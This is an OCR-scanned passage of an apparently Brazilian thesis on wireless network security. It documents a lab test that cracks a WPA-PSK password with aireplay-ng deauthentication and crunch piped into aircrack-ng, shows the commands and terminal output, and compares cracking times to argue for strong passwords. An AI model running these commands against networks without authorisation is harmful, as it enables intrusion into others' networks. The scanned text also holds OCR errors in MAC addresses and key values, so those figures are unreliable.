CH 11 ][ Elapsed: 42 mins ][ 2016-10-23 20:54 ][ WPA handshake: 80:C6:AB:CS:2C:95

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

80:C6:AB:C9:2C:95 -40 0O 24986 28893 13 11 54e WPA TKIP PSK dolanwifi
BSSID STATION PWR Rate Lost Frames Probe

80:C6: s E0:98:61:0E:B2:AE -31 54e- 4023 dolanwifi
80:C6 g BC:6E:64:65:E4:85 -52 18e- 1 2058
80:C6: g 18:83:31:01:D09:78 -72 le- 2101
80:C6:AB:C9:2C:95 E4:58:E7:BA:4B:7D -76 18e- 28485

Fonte: Elaborada pelo autor.

Esta requisicdo ARP é um protocolo de rede que basicamente tenta descobrir
o endere¢co MAC do outro equipamento para se comunicar.

Para o ataque usou-se o comando “aireplay-ng -0 7 -a <BSSID da rede> -c
<estacgao da rede> wlanOmon”, as opg¢des “-a” e “-c” configuram o endereco MAC do
ponto de acesso e o destino do endereco MAC para o ataque, como ilustrado na

Figura 5.
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Figura 5 — Procedimento do ataque de desautenticacao.
root@kali: ~ e ® ©

File Edit View Search Terminal Help

:~# aireplay-ng -0 7 -a 80:C6:AB:C9:2C:95 -c E0:98:61:0E:B2:AE wlanOmon
Waiting for beacon frame (BSSID: 80:C6:AB:C9:2C:95) on channel 11
Sending 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [ 0|59 ACKs]
Sending 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [ 1|41 ACKs]
Sending 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [ 0|59 ACKs]
Sending 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [ 0|63 ACKs]
Sending 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [ 0|60 ACKs]
Sending 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [20|59 ACKs]
Seqﬁﬁng 64 directed DeAuth. STMAC: [E0:98:61:0E:B2:AE] [ 6|54 ACKs]
~#

Fonte: Elaborada pelo autor.

Por fim, foram utilizadas duas ferramentas, a Aircrack-ng que é um programa
utiizado para quebrar chaves WEP e WPA/WPA2-PSK utilizando pacotes
criptografados capturados pelo Airodump-ng, e a Crunch que serve para criar
wordlists e j& vem nativa no sistema operacional Kali Linux. Utilizando o comando
“crunch <minimo de caracteres> <maximo de caracteres> <variacdo dos caracteres>
| aircrack-ng —b <handshake da rede> <Arquivo *.cap> -w-“, ja & iniciado o ataque de
forca bruta na rede, usando como base uma wordlists, ou seja, um dicionario de
caracteres que a ferramenta Crunch criou no momento e o arquivo .cap criado pela

ferramenta Airodump-ng, como ilustrado na Figura 6.
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Figura 6 — Sintaxe do comando Aircrack-ng juntamente com a ferramenta crunch.
root@kali: ~ e ® ©

File Edit View Search Terminal Help

:~# crunch 8 8 0123456789 | aircrack-ng -b 80:C6:AB:C9:2C:95 dolanwifi-
0l.cap -w—D

Fonte: Elaborada pelo autor.

Apbs o tempo de 22min52seg 0 programa conseguiu encontrar a combinacao
correta de caracteres da chave de seguranca da rede alvo, no caso a senha
encontrada foi o valor no campo KEY FOUND [012345567], como ilustrado na
Figura 7.
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Figura 7 — Chave encontrada em um ataque bem sucedido.

root@kali: ~ e ®© O

File Edit View Search Terminal Help

Aircrack-ng 1.2 rc2
52] 1234556 keys tested (904.49 k/s)
KEY FOUND! [ 01234567 ]

Master Key : C8 94 F1 AF 69 40 AD 7C
98 51 59 47 9C 44 86 2E

Transient Key : EC 48 2B 66 C1 DA D7 EB
66 D3 2E 2F 97 66 CO 98
33 76 57 7E 95 65 49 AB
85 5A 0B E8 Al 3C C7 90

EAPOL HEFC C OE E8 65 D9 44 CB 03 36
L~

Fonte: Elaborada pelo autor.

Uma vez tendo acesso direto a rede do alvo € possivel interceptar ou
transferir dados trafegando pela rede, podendo desta forma manipular ou capturar

dados de uma possivel vitima.
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7 RESULTADOS

Como apresentado no capitulo da metodologia, foram feitos alguns testes
utilizando forca bruta para quebra de senhas em redes sem fio, com o intuito de
comparar a eficacia e a dificuldade de se utilizar um ataque deste tipo. Foram
realizados trés testes com senhas diferentes, e o resultado estd4 sendo apresentado
na Figura 8.

A Figura 8 apresenta uma tabela dividida pela quantidade de caracteres que
ha nas senhas e qual a combinacdo de caracteres utilizada na mesma, qual o tempo
decorrido para a quebra da senha e a velocidade média que foram testadas as
chaves com o método de forca bruta.

Figura 8 — Testes de ataques realizados com combinac@es diferentes de senhas.

Quantidade de | Senha utilizada Tempo para | Velocidade testada
Caracteres quebra de chaves por
segundo (k/s)

8 caracteres 01234567 00h22mina2seq 904 49 k/s
35526299 10h01min22seg 993 27 kis
22331100 06h31min37seg 961.89 kis

Fonte: Elaborada pelo autor.

A ferramenta Crunch wordlist ndo gera listas aleatérias e sim de forma
uniforme da esquerda para direita, isto agrega no tempo de execucdo do ataque,
pois os testes sao feitos com todas as combinac¢des dos caracteres comecando pela
esquerda e a senha sO é descoberta quando o ultimo caractere da direita estiver
correto. As velocidades dos testes dependem do processador e de toda a estrutura
do computador atacante, no caso a velocidade dos testes é executada por cada
nacleo do processador da maquina, necessitando um hardware especifico e de
grande poder de processamento para viabilizar um pouco mais este tipo de ataque.

Baseando-se nos dados apresentados na Figura 8, fica evidente a
inviabilidade do uso do ataque de forca bruta utilizando dicionarios e
desautenticacdo, mesmo sendo uma das formas mais simples de se implementar um
ataque, sendo possivel encontrar facilmente muitas informac¢des na internet como

,por exemplo, em videos no Youtube ou Foruns online, o tempo e processamento
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nao compensam, levando em conta ainda que a dificuldade e tempo se agravam
conforme a quantidade de caracteres que a senha possui e a quantidades de

caracteres que a mesma pode utilizar.

Figura 9 — Estimativa de tempo com digitos.

Password length:(8

Speed:(929.51 passwords per second
Number of computers:|1
(] charsin lower case [ ] common punctuation
[ ] chars in upper case [ ] full ASCII
V] digits
Calculate!

Brute Force Attack will take up to 30 hours
Fonte: Elaborada pelo autor.

Na Figura 9 foi utilizado o site da Last Bit (2015) que calcula a estimativa de
tempo para se quebrar senhas com for¢a bruta utilizando algumas caracteristicas,
como o tamanho da senha ou Password lenght, a velocidade dos testes por segundo
ou Speed, o numero de computadores processando o ataque, no campo Number of
computers e as caracteristicas da senha, ou seja, se sO sdo utilizados digitos
numeéricos, caracteres em minuasculos ou maiusculos e etc. O calculo da estimativa é
possivel utilizando as variaveis de quantidade de caracteres que podem estar
presentes na senha, dez digitos do zero ao nove, por exemplo, elevado a
guantidade de caracteres que a senha possui, e logo apés dividindo pela velocidade
de testes, com isso chegasse ao tempo para a quebra.

A Figura 9 ajuda ainda a exemplificar a dificuldade de se quebrar uma senha
mostrando que um computador levaria aproximadamente 30 horas para quebrar
uma senha com 8 caracteres utilizando somente numeros em uma velocidade
constante de 929.51 chaves por segundo, enquanto que se pudéssemos utilizar
nameros e letras em minusculo levariamos aproximadamente 98 anos utilizando as

mesmas configuracdes, como mostrado na Figura 10.



Figura 10 — Estimativa de utilizando digitos e letras minusculas.

Password length:8

Speed:|929.51 passwords per second
Number of computers:|1
chars in lower case [ ] common punctuation
[] chars in upper case (] full ASCII
digits
Calculate!

Brute Force Attack will take up to 98 years
Fonte: Elaborada pelo autor.

E ainda, utilizando caracteres mailsculos, minudsculos,
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nidmeros e

pontuacdes, a quantidade de anos sobe para surpreendentes 31102 anos, como

mostrado na Figura 11.

Figura 11 — Estimativa de tempo utilizando digitos, letras minusculas.

Password length:|8

Speed:|929.51 passwords per second
Number of computers:|1
chars in lower case common punctuation
chars in upper case (] full ASCII
digits
Calculate!

Brgte r-:o‘rge Attqck wi!l take up to 31_102 years
Fonte: Elaborada pelo autor.

Utilizando os dados disponibilizados na Figura 8 neste mesmo site, pode-se

observar que uma senha com 8 caracteres usando somente digitos numeéricos

poderia demorar aproximadamente 30 horas dependendo da combinacdo de

caracteres, para se conseguir quebrar uma senha na velocidade de 953.216 chaves

7z

por segundo, que é a média em que foram feitos os testes, como apontado na

Figura 12.

Figura 12 — Estimativa de tempo utilizando velocidade média dos testes feitos

anteriormente.
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Password length:|8

Speed:(953.216 passwords per second
NMumber of computers:{1
[ ] chars in lower case [ ] common punctuation
[ | chars in upper case [ ] full ASCII
digits
Calculatel

Brute Force Attack will take up to 320 hours
Fonte: Elaborada pelo autor.

Utilizando estes exemplos fica evidente que invadir uma rede sem fio por este
método de forca bruta é inviavel, e também fica clara a importancia de uma rede
devidamente protegida utilizando senhas bem pensadas e seguindo boas praticas
de seguranca em relacdo a este assunto, além de evitar se conectar em redes de
acesso publico, pois como apontado por Thiago Hyppolito que € engenheiro de
produtos da McAfee no Brasil, na matéria de Guilherme et al (2015), pessoas mal
intencionadas costumam se aproveitar de falhas de seguranca afim de monitorar
atividades de vitimas online, interceptando dados de transa¢des em redes bancarias

ou logins em redes sociais.
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8 CONCLUSAO

Ao decorrer de toda a pesquisa para se desenvolver este trabalho, foram
expostas varias informacdes sobre as redes sem fio, desde sua origem até padrdes
utilizados anterior e atualmente, também foram apresentados conceitos de
seguranca da informacédo e perigos envolvendo vulnerabilidades em redes sem fio,
principalmente ao utilizar redes publicas, e ao final foi visto o passo a passo de um
simples teste de penetracdo controlado, com isto acredito que foi possivel observar
a importancia que deve ser tratado este tema.

Tendo sido executado um tipo de ataque simples, foi possivel demonstrar a
eficiéncia de alguns meios de protecdo que possuimos nos dias de hoje, também a
necessidade de se utilizar senhas mais complexas seguindo algumas boas praticas
e como dito no objetivo geral, foi exemplificado como atacantes conseguem efetuar
tais ataques. Apesar de apontada nos resultados da invaséo do trabalho a ineficacia
de um ataque de forca bruta em redes que utilizam uma melhor criptografia com
senhas um pouco mais complexas possuindo uma maior resisténcia, sdo criados
muitos outros tipos de ataques diariamente que podem facilmente serem
implementados por pessoas mal intencionadas, além de é claro existirem muitas
outras vulnerabilidades que podem ser exploradas, portanto faz-se necesséario a
continua atencdo e exploracdo do tema seguranca da informacdo, tanto em um
ambiente empresarial quanto doméstico, evitando-se graves problemas no futuro.

A area de seguranca da informacéo é ainda pouco explorada pelas pessoas e
muitas vezes pouco incentivada pelo trabalho e atencdo necessaria para sua
aplicacdo, muitas pessoas nao tem ideia do risco que suas informacdes correm
diariamente utilizando redes publicas, senhas fracas ou simplesmente deixando a
propria rede sem protecdo para qualquer tipo de pessoa. Acredito que 0s objetivos
propostos do trabalho, de informar futuros pesquisadores da area e servir como
orientacdo sobre riscos que usuarios estao expostos foram concluidos, portanto para
trabalhos futuros pode-se mostrar a aplicacéo e eficiéncia de outros tipos de ataques
em redes sem fio, assim como, demonstrar efetivamente ataque dentro da rede para
obtencdo de dados, como senhas, arquivos, conversas e etc., conseguindo
demonstrar ainda mais a relevancia da seguranca em uma rede sem fio, doméstica

ou empresarial.
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